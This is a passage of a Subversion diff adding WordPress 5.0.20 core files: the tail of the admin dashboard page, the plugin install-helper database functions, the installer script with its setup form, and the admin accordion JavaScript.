+if ( current_user_can( 'install_plugins' ) ) {
+	wp_enqueue_script( 'plugin-install' );
+	wp_enqueue_script( 'updates' );
+}
+if ( current_user_can( 'upload_files' ) )
+	wp_enqueue_script( 'media-upload' );
+add_thickbox();
+
+if ( wp_is_mobile() )
+	wp_enqueue_script( 'jquery-touch-punch' );
+
+$title = __('Dashboard');
+$parent_file = 'index.php';
+
+$help = '<p>' . __( 'Welcome to your WordPress Dashboard! This is the screen you will see when you log in to your site, and gives you access to all the site management features of WordPress. You can get help for any screen by clicking the Help tab above the screen title.' ) . '</p>';
+
+$screen = get_current_screen();
+
+$screen->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __( 'Overview' ),
+	'content' => $help,
+) );
+
+// Help tabs
+
+$help  = '<p>' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '</p>';
+$help .= '<p>' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '</p>';
+
+$screen->add_help_tab( array(
+	'id'      => 'help-navigation',
+	'title'   => __( 'Navigation' ),
+	'content' => $help,
+) );
+
+$help  = '<p>' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '</p>';
+$help .= '<p>' . __( '<strong>Screen Options</strong> &mdash; Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '</p>';
+$help .= '<p>' . __( '<strong>Drag and Drop</strong> &mdash; To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '</p>';
+$help .= '<p>' . __( '<strong>Box Controls</strong> &mdash; Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a &#8220;Configure&#8221; link in the title bar if you hover over it.' ) . '</p>';
+
+$screen->add_help_tab( array(
+	'id'      => 'help-layout',
+	'title'   => __( 'Layout' ),
+	'content' => $help,
+) );
+
+$help  = '<p>' . __( 'The boxes on your Dashboard screen are:' ) . '</p>';
+if ( current_user_can( 'edit_posts' ) )
+	$help .= '<p>' . __( '<strong>At A Glance</strong> &mdash; Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '</p>';
+	$help .= '<p>' . __( '<strong>Activity</strong> &mdash; Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '</p>';
+if ( is_blog_admin() && current_user_can( 'edit_posts' ) )
+	$help .= '<p>' . __( "<strong>Quick Draft</strong> &mdash; Allows you to create a new post and save it as a draft. Also displays links to the 5 most recent draft posts you've started." ) . '</p>';
+if ( ! is_multisite() && current_user_can( 'install_plugins' ) )
+	$help .= '<p>' . sprintf(
+		/* translators: %s: WordPress Planet URL */
+		__( '<strong>WordPress News</strong> &mdash; Latest news from the official WordPress project, the <a href="%s">WordPress Planet</a>, and popular plugins.' ),
+		__( 'https://planet.wordpress.org/' )
+	) . '</p>';
+else
+	$help .= '<p>' . sprintf(
+		/* translators: %s: WordPress Planet URL */
+		__( '<strong>WordPress News</strong> &mdash; Latest news from the official WordPress project and the <a href="%s">WordPress Planet</a>.' ),
+		__( 'https://planet.wordpress.org/' )
+	) . '</p>';
+if ( current_user_can( 'edit_theme_options' ) )
+	$help .= '<p>' . __( '<strong>Welcome</strong> &mdash; Shows links for some of the most common tasks when setting up a new site.' ) . '</p>';
+
+$screen->add_help_tab( array(
+	'id'      => 'help-content',
+	'title'   => __( 'Content' ),
+	'content' => $help,
+) );
+
+unset( $help );
+
+$screen->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Dashboard_Screen">Documentation on Dashboard</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+	<h1><?php echo esc_html( $title ); ?></h1>
+
+<?php if ( has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) :
+	$classes = 'welcome-panel';
+
+	$option = get_user_meta( get_current_user_id(), 'show_welcome_panel', true );
+	// 0 = hide, 1 = toggled to show or single site creator, 2 = multisite site owner
+	$hide = '0' === $option || ( '2' === $option && wp_get_current_user()->user_email != get_option( 'admin_email' ) );
+	if ( $hide )
+		$classes .= ' hidden'; ?>
+
+	<div id="welcome-panel" class="<?php echo esc_attr( $classes ); ?>">
+		<?php wp_nonce_field( 'welcome-panel-nonce', 'welcomepanelnonce', false ); ?>
+		<a class="welcome-panel-close" href="<?php echo esc_url( admin_url( '?welcome=0' ) ); ?>" aria-label="<?php esc_attr_e( 'Dismiss the welcome panel' ); ?>"><?php _e( 'Dismiss' ); ?></a>
+		<?php
+		/**
+		 * Add content to the welcome panel on the admin dashboard.
+		 *
+		 * To remove the default welcome panel, use remove_action():
+		 *
+		 *     remove_action( 'welcome_panel', 'wp_welcome_panel' );
+		 *
+		 * @since 3.5.0
+		 */
+		do_action( 'welcome_panel' );
+		?>
+	</div>
+<?php endif; ?>
+
+	<div id="dashboard-widgets-wrap">
+	<?php wp_dashboard(); ?>
+	</div><!-- dashboard-widgets-wrap -->
+
+</div><!-- wrap -->
+
+<?php
+wp_print_community_events_templates();
+
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/install-helper.php
===================================================================
--- /tags/5.0.20/src/wp-admin/install-helper.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/install-helper.php	(revision 56912)
@@ -0,0 +1,200 @@
+<?php
+/**
+ * Plugins may load this file to gain access to special helper functions for
+ * plugin installation. This file is not included by WordPress and it is
+ * recommended, to prevent fatal errors, that this file is included using
+ * require_once().
+ *
+ * These functions are not optimized for speed, but they should only be used
+ * once in a while, so speed shouldn't be a concern. If it is and you are
+ * needing to use these functions a lot, you might experience time outs. If you
+ * do, then it is advised to just write the SQL code yourself.
+ *
+ *     check_column( 'wp_links', 'link_description', 'mediumtext' );
+ *     if ( check_column( $wpdb->comments, 'comment_author', 'tinytext' ) ) {
+ *         echo "ok\n";
+ *     }
+ *
+ *     $error_count = 0;
+ *     $tablename = $wpdb->links;
+ *     // Check the column.
+ *     if ( ! check_column($wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
+ *         $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' ";
+ *         $q = $wpdb->query( $ddl );
+ *     }
+ *
+ *     if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
+ *         $res .= $tablename . ' - ok <br />';
+ *     } else {
+ *         $res .= 'There was a problem with ' . $tablename . '<br />';
+ *         ++$error_count;
+ *     }
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ */
+
+/** Load WordPress Bootstrap */
+require_once(dirname(dirname(__FILE__)).'/wp-load.php');
+
+if ( ! function_exists('maybe_create_table') ) :
+/**
+ * Create database table, if it doesn't already exist.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $table_name Database table name.
+ * @param string $create_ddl Create database table SQL.
+ * @return bool False on error, true if already exists or success.
+ */
+function maybe_create_table($table_name, $create_ddl) {
+	global $wpdb;
+	foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) {
+		if ($table == $table_name) {
+			return true;
+		}
+	}
+	// Didn't find it, so try to create it.
+	$wpdb->query($create_ddl);
+
+	// We cannot directly tell that whether this succeeded!
+	foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) {
+		if ($table == $table_name) {
+			return true;
+		}
+	}
+	return false;
+}
+endif;
+
+if ( ! function_exists('maybe_add_column') ) :
+/**
+ * Add column to database table, if column doesn't already exist in table.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $table_name Database table name
+ * @param string $column_name Table column name
+ * @param string $create_ddl SQL to add column to table.
+ * @return bool False on failure. True, if already exists or was successful.
+ */
+function maybe_add_column($table_name, $column_name, $create_ddl) {
+	global $wpdb;
+	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+
+	// Didn't find it, so try to create it.
+	$wpdb->query($create_ddl);
+
+	// We cannot directly tell that whether this succeeded!
+	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+	return false;
+}
+endif;
+
+/**
+ * Drop column from database table, if it exists.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $table_name Table name
+ * @param string $column_name Column name
+ * @param string $drop_ddl SQL statement to drop column.
+ * @return bool False on failure, true on success or doesn't exist.
+ */
+function maybe_drop_column($table_name, $column_name, $drop_ddl) {
+	global $wpdb;
+	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+		if ($column == $column_name) {
+
+			// Found it, so try to drop it.
+			$wpdb->query($drop_ddl);
+
+			// We cannot directly tell that whether this succeeded!
+			foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+				if ($column == $column_name) {
+					return false;
+				}
+			}
+		}
+	}
+	// Else didn't find it.
+	return true;
+}
+
+/**
+ * Check column matches criteria.
+ *
+ * Uses the SQL DESC for retrieving the table info for the column. It will help
+ * understand the parameters, if you do more research on what column information
+ * is returned by the SQL statement. Pass in null to skip checking that
+ * criteria.
+ *
+ * Column names returned from DESC table are case sensitive and are listed:
+ *      Field
+ *      Type
+ *      Null
+ *      Key
+ *      Default
+ *      Extra
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $table_name Table name
+ * @param string $col_name   Column name
+ * @param string $col_type   Column type
+ * @param bool   $is_null    Optional. Check is null.
+ * @param mixed  $key        Optional. Key info.
+ * @param mixed  $default    Optional. Default value.
+ * @param mixed  $extra      Optional. Extra value.
+ * @return bool True, if matches. False, if not matching.
+ */
+function check_column($table_name, $col_name, $col_type, $is_null = null, $key = null, $default = null, $extra = null) {
+	global $wpdb;
+	$diffs = 0;
+	$results = $wpdb->get_results("DESC $table_name");
+
+	foreach ($results as $row ) {
+
+		if ($row->Field == $col_name) {
+
+			// Got our column, check the params.
+			if (($col_type != null) && ($row->Type != $col_type)) {
+				++$diffs;
+			}
+			if (($is_null != null) && ($row->Null != $is_null)) {
+				++$diffs;
+			}
+			if (($key != null) && ($row->Key  != $key)) {
+				++$diffs;
+			}
+			if (($default != null) && ($row->Default != $default)) {
+				++$diffs;
+			}
+			if (($extra != null) && ($row->Extra != $extra)) {
+				++$diffs;
+			}
+			if ($diffs > 0) {
+				return false;
+			}
+			return true;
+		} // end if found our column
+	}
+	return false;
+}
Index: /tags/5.0.20/src/wp-admin/install.php
===================================================================
--- /tags/5.0.20/src/wp-admin/install.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/install.php	(revision 56912)
@@ -0,0 +1,417 @@
+<?php
+/**
+ * WordPress Installer
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// Sanity check.
+if ( false ) {
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title>Error: PHP is not running</title>
+</head>
+<body class="wp-core-ui">
+	<p id="logo"><a href="https://wordpress.org/">WordPress</a></p>
+	<h1>Error: PHP is not running</h1>
+	<p>WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.</p>
+</body>
+</html>
+<?php
+}
+
+/**
+ * We are installing WordPress.
+ *
+ * @since 1.5.1
+ * @var bool
+ */
+define( 'WP_INSTALLING', true );
+
+/** Load WordPress Bootstrap */
+require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+/** Load WordPress Administration Upgrade API */
+require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+/** Load WordPress Translation Install API */
+require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+/** Load wpdb */
+require_once( ABSPATH . WPINC . '/wp-db.php' );
+
+nocache_headers();
+
+$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : 0;
+
+/**
+ * Display installation header.
+ *
+ * @since 2.5.0
+ *
+ * @param string $body_classes
+ */
+function display_header( $body_classes = '' ) {
+	header( 'Content-Type: text/html; charset=utf-8' );
+	if ( is_rtl() ) {
+		$body_classes .= 'rtl';
+	}
+	if ( $body_classes ) {
+		$body_classes = ' ' . $body_classes;
+	}
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+	<meta name="viewport" content="width=device-width" />
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="robots" content="noindex,nofollow" />
+	<title><?php _e( 'WordPress &rsaquo; Installation' ); ?></title>
+	<?php
+		wp_admin_css( 'install', true );
+		wp_admin_css( 'dashicons', true );
+	?>
+</head>
+<body class="wp-core-ui<?php echo $body_classes ?>">
+<p id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>" tabindex="-1"><?php _e( 'WordPress' ); ?></a></p>
+
+<?php
+} // end display_header()
+
+/**
+ * Display installer setup form.
+ *
+ * @since 2.8.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string|null $error
+ */
+function display_setup_form( $error = null ) {
+	global $wpdb;
+
+	$sql = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $wpdb->users ) );
+	$user_table = ( $wpdb->get_var( $sql ) != null );
+
+	// Ensure that Blogs appear in search engines by default.
+	$blog_public = 1;
+	if ( isset( $_POST['weblog_title'] ) ) {
+		$blog_public = isset( $_POST['blog_public'] );
+	}
+
+	$weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : '';
+	$user_name = isset($_POST['user_name']) ? trim( wp_unslash( $_POST['user_name'] ) ) : '';
+	$admin_email  = isset( $_POST['admin_email']  ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : '';
+
+	if ( ! is_null( $error ) ) {
+?>
+<h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1>
+<p class="message"><?php echo $error; ?></p>
+<?php } ?>
+<form id="setup" method="post" action="install.php?step=2" novalidate="novalidate">
+	<table class="form-table">
+		<tr>
+			<th scope="row"><label for="weblog_title"><?php _e( 'Site Title' ); ?></label></th>
+			<td><input name="weblog_title" type="text" id="weblog_title" size="25" value="<?php echo esc_attr( $weblog_title ); ?>" /></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="user_login"><?php _e('Username'); ?></label></th>
+			<td>
+			<?php
+			if ( $user_table ) {
+				_e('User(s) already exists.');
+				echo '<input name="user_name" type="hidden" value="admin" />';
+			} else {
+				?><input name="user_name" type="text" id="user_login" size="25" value="<?php echo esc_attr( sanitize_user( $user_name, true ) ); ?>" />
+				<p><?php _e( 'Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ symbol.' ); ?></p>
+			<?php
+			} ?>
+			</td>
+		</tr>
+		<?php if ( ! $user_table ) : ?>
+		<tr class="form-field form-required user-pass1-wrap">
+			<th scope="row">
+				<label for="pass1">
+					<?php _e( 'Password' ); ?>
+				</label>
+			</th>
+			<td>
+				<div class="">
+					<?php $initial_password = isset( $_POST['admin_password'] ) ? stripslashes( $_POST['admin_password'] ) : wp_generate_password( 18 ); ?>
+					<input type="password" name="admin_password" id="pass1" class="regular-text" autocomplete="off" data-reveal="1" data-pw="<?php echo esc_attr( $initial_password ); ?>" aria-describedby="pass-strength-result" />
+					<button type="button" class="button wp-hide-pw hide-if-no-js" data-start-masked="<?php echo (int) isset( $_POST['admin_password'] ); ?>" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
+						<span class="dashicons dashicons-hidden"></span>
+						<span class="text"><?php _e( 'Hide' ); ?></span>
+					</button>
+					<div id="pass-strength-result" aria-live="polite"></div>
+				</div>
+				<p><span class="description important hide-if-no-js">
+				<strong><?php _e( 'Important:' ); ?></strong>
+				<?php /* translators: The non-breaking space prevents 1Password from thinking the text "log in" should trigger a password save prompt. */ ?>
+				<?php _e( 'You will need this password to log&nbsp;in. Please store it in a secure location.' ); ?></span></p>
+			</td>
+		</tr>
+		<tr class="form-field form-required user-pass2-wrap hide-if-js">
+			<th scope="row">
+				<label for="pass2"><?php _e( 'Repeat Password' ); ?>
+					<span class="description"><?php _e( '(required)' ); ?></span>
+				</label>
+			</th>
+			<td>
+				<input name="admin_password2" type="password" id="pass2" autocomplete="off" />
+			</td>
+		</tr>
+		<tr class="pw-weak">
+			<th scope="row"><?php _e( 'Confirm Password' ); ?></th>
+			<td>
+				<label>
+					<input type="checkbox" name="pw_weak" class="pw-checkbox" />
+					<?php _e( 'Confirm use of weak password' ); ?>
+				</label>
+			</td>
+		</tr>
+		<?php endif; ?>
+		<tr>
+			<th scope="row"><label for="admin_email"><?php _e( 'Your Email' ); ?></label></th>
+			<td><input name="admin_email" type="email" id="admin_email" size="25" value="<?php echo esc_attr( $admin_email ); ?>" />
+			<p><?php _e( 'Double-check your email address before continuing.' ); ?></p></td>
+		</tr>
+		<tr>
+			<th scope="row"><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site Visibility' ) : _e( 'Search Engine Visibility' ); ?></th>
+			<td>
+				<fieldset>
+					<legend class="screen-reader-text"><span><?php has_action( 'blog_privacy_selector' ) ? _e( 'Site Visibility' ) : _e( 'Search Engine Visibility' ); ?> </span></legend>
+					<?php
+					if ( has_action( 'blog_privacy_selector' ) ) { ?>
+						<input id="blog-public" type="radio" name="blog_public" value="1" <?php checked( 1, $blog_public ); ?> />
+						<label for="blog-public"><?php _e( 'Allow search engines to index this site' );?></label><br/>
+						<input id="blog-norobots" type="radio" name="blog_public" value="0" <?php checked( 0, $blog_public ); ?> />
+						<label for="blog-norobots"><?php _e( 'Discourage search engines from indexing this site' ); ?></label>
+						<p class="description"><?php _e( 'Note: Neither of these options blocks access to your site &mdash; it is up to search engines to honor your request.' ); ?></p>
+						<?php
+						/** This action is documented in wp-admin/options-reading.php */
+						do_action( 'blog_privacy_selector' );
+					 } else { ?>
+						<label for="blog_public"><input name="blog_public" type="checkbox" id="blog_public" value="0" <?php checked( 0, $blog_public ); ?> />
+						<?php _e( 'Discourage search engines from indexing this site' ); ?></label>
+						<p class="description"><?php _e( 'It is up to search engines to honor this request.' ); ?></p>
+					<?php } ?>
+				</fieldset>
+			</td>
+		</tr>
+	</table>
+	<p class="step"><?php submit_button( __( 'Install WordPress' ), 'large', 'Submit', false, array( 'id' => 'submit' ) ); ?></p>
+	<input type="hidden" name="language" value="<?php echo isset( $_REQUEST['language'] ) ? esc_attr( $_REQUEST['language'] ) : ''; ?>" />
+</form>
+<?php
+} // end display_setup_form()
+
+// Let's check to make sure WP isn't already installed.
+if ( is_blog_installed() ) {
+	display_header();
+	die(
+		'<h1>' . __( 'Already Installed' ) . '</h1>' .
+		'<p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p>' .
+		'<p class="step"><a href="' . esc_url( wp_login_url() ) . '" class="button button-large">' . __( 'Log In' ) . '</a></p>' .
+		'</body></html>'
+	);
+}
+
+/**
+ * @global string $wp_version
+ * @global string $required_php_version
+ * @global string $required_mysql_version
+ * @global wpdb   $wpdb
+ */
+global $wp_version, $required_php_version, $required_mysql_version;
+
+$php_version    = phpversion();
+$mysql_version  = $wpdb->db_version();
+$php_compat     = version_compare( $php_version, $required_php_version, '>=' );
+$mysql_compat   = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' );
+
+if ( !$mysql_compat && !$php_compat ) {
+	/* translators: 1: WordPress version number, 2: Minimum required PHP version number, 3: Minimum required MySQL version number, 4: Current PHP version number, 5: Current MySQL version number */
+	$compat = sprintf( __( 'You cannot install because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.' ), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version );
+} elseif ( !$php_compat ) {
+	/* translators: 1: WordPress version number, 2: Minimum required PHP version number, 3: Current PHP version number */
+	$compat = sprintf( __( 'You cannot install because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s.' ), $wp_version, $required_php_version, $php_version );
+} elseif ( !$mysql_compat ) {
+	/* translators: 1: WordPress version number, 2: Minimum required MySQL version number, 3: Current MySQL version number */
+	$compat = sprintf( __( 'You cannot install because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s.' ), $wp_version, $required_mysql_version, $mysql_version );
+}
+
+if ( !$mysql_compat || !$php_compat ) {
+	display_header();
+	die( '<h1>' . __( 'Insufficient Requirements' ) . '</h1><p>' . $compat . '</p></body></html>' );
+}
+
+if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) {
+	display_header();
+	die(
+		'<h1>' . __( 'Configuration Error' ) . '</h1>' .
+		'<p>' . sprintf(
+			/* translators: %s: wp-config.php */
+			__( 'Your %s file has an empty database table prefix, which is not supported.' ),
+			'<code>wp-config.php</code>'
+		) . '</p></body></html>'
+	);
+}
+
+// Set error message if DO_NOT_UPGRADE_GLOBAL_TABLES isn't set as it will break install.
+if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
+	display_header();
+	die(
+		'<h1>' . __( 'Configuration Error' ) . '</h1>' .
+		'<p>' . sprintf(
+			/* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */
+			__( 'The constant %s cannot be defined when installing WordPress.' ),
+			'<code>DO_NOT_UPGRADE_GLOBAL_TABLES</code>'
+		) . '</p></body></html>'
+	);
+}
+
+/**
+ * @global string    $wp_local_package
+ * @global WP_Locale $wp_locale
+ */
+$language = '';
+if ( ! empty( $_REQUEST['language'] ) ) {
+	$language = preg_replace( '/[^a-zA-Z0-9_]/', '', $_REQUEST['language'] );
+} elseif ( isset( $GLOBALS['wp_local_package'] ) ) {
+	$language = $GLOBALS['wp_local_package'];
+}
+
+$scripts_to_print = array( 'jquery' );
+
+switch($step) {
+	case 0: // Step 0
+		if ( wp_can_install_language_pack() && empty( $language ) && ( $languages = wp_get_available_translations() ) ) {
+			$scripts_to_print[] = 'language-chooser';
+			display_header( 'language-chooser' );
+			echo '<form id="setup" method="post" action="?step=1">';
+			wp_install_language_form( $languages );
+			echo '</form>';
+			break;
+		}
+
+		// Deliberately fall through if we can't reach the translations API.
+
+	case 1: // Step 1, direct link or from language chooser.
+		if ( ! empty( $language ) ) {
+			$loaded_language = wp_download_language_pack( $language );
+			if ( $loaded_language ) {
+				load_default_textdomain( $loaded_language );
+				$GLOBALS['wp_locale'] = new WP_Locale();
+			}
+		}
+
+		$scripts_to_print[] = 'user-profile';
+
+		display_header();
+?>
+<h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1>
+<p><?php _e( 'Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you&#8217;ll be on your way to using the most extendable and powerful personal publishing platform in the world.' ); ?></p>
+
+<h2><?php _e( 'Information needed' ); ?></h2>
+<p><?php _e( 'Please provide the following information. Don&#8217;t worry, you can always change these settings later.' ); ?></p>
+
+<?php
+		display_setup_form();
+		break;
+	case 2:
+		if ( ! empty( $language ) && load_default_textdomain( $language ) ) {
+			$loaded_language = $language;
+			$GLOBALS['wp_locale'] = new WP_Locale();
+		} else {
+			$loaded_language = 'en_US';
+		}
+
+		if ( ! empty( $wpdb->error ) )
+			wp_die( $wpdb->error->get_error_message() );
+
+		$scripts_to_print[] = 'user-profile';
+
+		display_header();
+		// Fill in the data we gathered
+		$weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : '';
+		$user_name = isset($_POST['user_name']) ? trim( wp_unslash( $_POST['user_name'] ) ) : '';
+		$admin_password = isset($_POST['admin_password']) ? wp_unslash( $_POST['admin_password'] ) : '';
+		$admin_password_check = isset($_POST['admin_password2']) ? wp_unslash( $_POST['admin_password2'] ) : '';
+		$admin_email  = isset( $_POST['admin_email'] ) ?trim( wp_unslash( $_POST['admin_email'] ) ) : '';
+		$public       = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : 1;
+
+		// Check email address.
+		$error = false;
+		if ( empty( $user_name ) ) {
+			// TODO: poka-yoke
+			display_setup_form( __( 'Please provide a valid username.' ) );
+			$error = true;
+		} elseif ( $user_name != sanitize_user( $user_name, true ) ) {
+			display_setup_form( __( 'The username you provided has invalid characters.' ) );
+			$error = true;
+		} elseif ( $admin_password != $admin_password_check ) {
+			// TODO: poka-yoke
+			display_setup_form( __( 'Your passwords do not match. Please try again.' ) );
+			$error = true;
+		} elseif ( empty( $admin_email ) ) {
+			// TODO: poka-yoke
+			display_setup_form( __( 'You must provide an email address.' ) );
+			$error = true;
+		} elseif ( ! is_email( $admin_email ) ) {
+			// TODO: poka-yoke
+			display_setup_form( __( 'Sorry, that isn&#8217;t a valid email address. Email addresses look like <code>username@example.com</code>.' ) );
+			$error = true;
+		}
+
+		if ( $error === false ) {
+			$wpdb->show_errors();
+			$result = wp_install( $weblog_title, $user_name, $admin_email, $public, '', wp_slash( $admin_password ), $loaded_language );
+?>
+
+<h1><?php _e( 'Success!' ); ?></h1>
+
+<p><?php _e( 'WordPress has been installed. Thank you, and enjoy!' ); ?></p>
+
+<table class="form-table install-success">
+	<tr>
+		<th><?php _e( 'Username' ); ?></th>
+		<td><?php echo esc_html( sanitize_user( $user_name, true ) ); ?></td>
+	</tr>
+	<tr>
+		<th><?php _e( 'Password' ); ?></th>
+		<td><?php
+		if ( ! empty( $result['password'] ) && empty( $admin_password_check ) ): ?>
+			<code><?php echo esc_html( $result['password'] ) ?></code><br />
+		<?php endif ?>
+			<p><?php echo $result['password_message'] ?></p>
+		</td>
+	</tr>
+</table>
+
+<p class="step"><a href="<?php echo esc_url( wp_login_url() ); ?>" class="button button-large"><?php _e( 'Log In' ); ?></a></p>
+
+<?php
+		}
+		break;
+}
+
+if ( ! wp_is_mobile() ) {
+	?>
+<script type="text/javascript">var t = document.getElementById('weblog_title'); if (t){ t.focus(); }</script>
+	<?php
+}
+
+wp_print_scripts( $scripts_to_print );
+?>
+<script type="text/javascript">
+jQuery( function( $ ) {
+	$( '.hide-if-no-js' ).removeClass( 'hide-if-no-js' );
+} );
+</script>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-admin/js/accordion.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/accordion.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/accordion.js	(revision 56912)
@@ -0,0 +1,93 @@
+/**
+ * Accordion-folding functionality.
+ *
+ * Markup with the appropriate classes will be automatically hidden,
+ * with one section opening at a time when its title is clicked.
+ * Use the following markup structure for accordion behavior:
+ *
+ * <div class="accordion-container">
+ *	<div class="accordion-section open">
+ *		<h3 class="accordion-section-title"></h3>
+ *		<div class="accordion-section-content">
+ *		</div>
+ *	</div>
+ *	<div class="accordion-section">
+ *		<h3 class="accordion-section-title"></h3>
+ *		<div class="accordion-section-content">
+ *		</div>
+ *	</div>
+ *	<div class="accordion-section">
+ *		<h3 class="accordion-section-title"></h3>
+ *		<div class="accordion-section-content">
+ *		</div>
+ *	</div>
+ * </div>
+ *
+ * Note that any appropriate tags may be used, as long as the above classes are present.
+ *
+ * @since 3.6.0.
+ */
+
+( function( $ ){
+
+	$( document ).ready( function () {
+
+		// Expand/Collapse accordion sections on click.
+		$( '.accordion-container' ).on( 'click keydown', '.accordion-section-title', function( e ) {
+			if ( e.type === 'keydown' && 13 !== e.which ) { // "return" key
+				return;
+			}
+
+			e.preventDefault(); // Keep this AFTER the key filter above
+
+			accordionSwitch( $( this ) );
+		});
+
+	});
+
+	/**
+	 * Close the current accordion section and open a new one.
+	 *
+	 * @param {Object} el Title element of the accordion section to toggle.
+	 * @since 3.6.0
+	 */
+	function accordionSwitch ( el ) {
+		var section = el.closest( '.accordion-section' ),
+			sectionToggleControl = section.find( '[aria-expanded]' ).first(),
+			container = section.closest( '.accordion-container' ),
+			siblings = container.find( '.open' ),
+			siblingsToggleControl = siblings.find( '[aria-expanded]' ).first(),
+			content = section.find( '.accordion-section-content' );
+
+		// This section has no content and cannot be expanded.
+		if ( section.hasClass( 'cannot-expand' ) ) {
+			return;
+		}
+
+		// Add a class to the container to let us know something is happening inside.
+		// This helps in cases such as hiding a scrollbar while animations are executing.
+		container.addClass( 'opening' );
+
+		if ( section.hasClass( 'open' ) ) {
+			section.toggleClass( 'open' );
+			content.toggle( true ).slideToggle( 150 );
+		} else {
+			siblingsToggleControl.attr( 'aria-expanded', 'false' );
+			siblings.removeClass( 'open' );
+			siblings.find( '.accordion-section-content' ).show().slideUp( 150 );
+			content.toggle( false ).slideToggle( 150 );
+			section.toggleClass( 'open' );
+		}
+
+		// We have to wait for the animations to finish
+		setTimeout(function(){
+		    container.removeClass( 'opening' );
+		}, 150);
+
+		// If there's an element with an aria-expanded attribute, assume it's a toggle control and toggle the aria-expanded value.
+		if ( sectionToggleControl ) {
+			sectionToggleControl.attr( 'aria-expanded', String( sectionToggleControl.attr( 'aria-expanded' ) === 'false' ) );
+		}
+	}
+
+})(jQuery);
Index: /tags/5.0.20/src/wp-admin/js/code-editor.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/code-editor.js	(revision 56912)
